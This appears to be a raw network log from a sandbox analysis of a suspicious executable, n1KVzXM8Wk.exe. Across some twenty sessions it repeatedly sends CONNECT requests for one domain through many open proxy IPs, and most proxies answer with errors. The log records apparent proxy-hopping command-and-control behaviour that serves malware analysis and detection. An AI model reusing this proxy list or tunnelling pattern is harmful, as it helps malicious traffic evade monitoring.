Feb 23, 2024 09:45:25.938241959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.4	53621	104.25.194.175	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.938596010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.026211023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.4	53551	185.225.232.191	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.939053059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.109647036 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:26 GMT Server: Apache/2.4.57 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.4	53625	104.27.83.183	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.946806908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.033770084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.4	53655	185.238.228.240	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.956132889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.043801069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.4	53613	172.93.111.87	49397	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.957667112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.443732023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834832907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.556257010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147077084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.046947956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.858824015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.4	53211	103.35.189.217	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.958558083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975121975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.975276947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.975205898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.4	52661	92.246.139.113	30635	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.970961094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975143909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.975296974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.975229025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.990575075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.990504026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:14.146785975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.4	53439	116.107.182.41	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.974668026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.4	53550	20.206.106.192	8123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.981188059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.193736076 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.4	53581	45.138.87.238	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.993415117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.4	53468	154.85.58.149	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.993468046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.300275087 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.4	53617	199.188.92.47	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.999582052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.160712957 CET	1286	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/4.15 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3594 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="SC-Proxy" X-Cache: MISS from out.domain.net X-Cache-Lookup: NONE from out.domain.net:8000 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.4	53180	66.248.237.89	64672	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.003736973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178373098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179358006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.365915060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:50.381181955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:02.381148100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.4	53183	207.180.234.220	49586	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.012789011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.589550018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.4	53651	37.187.77.58	49507	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.029479027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.4	53219	190.24.40.70	9812	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.046611071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.115348101 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.4	53165	145.239.2.102	28501	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.046714067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178330898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.4	53532	119.28.60.64	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.059170008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.4	52748	45.225.207.186	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.078870058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.238756895 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.4	53687	172.67.150.173	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.079816103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.167625904 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.4	53749	202.159.30.81	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.080076933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.4	53698	104.16.106.154	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.080781937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
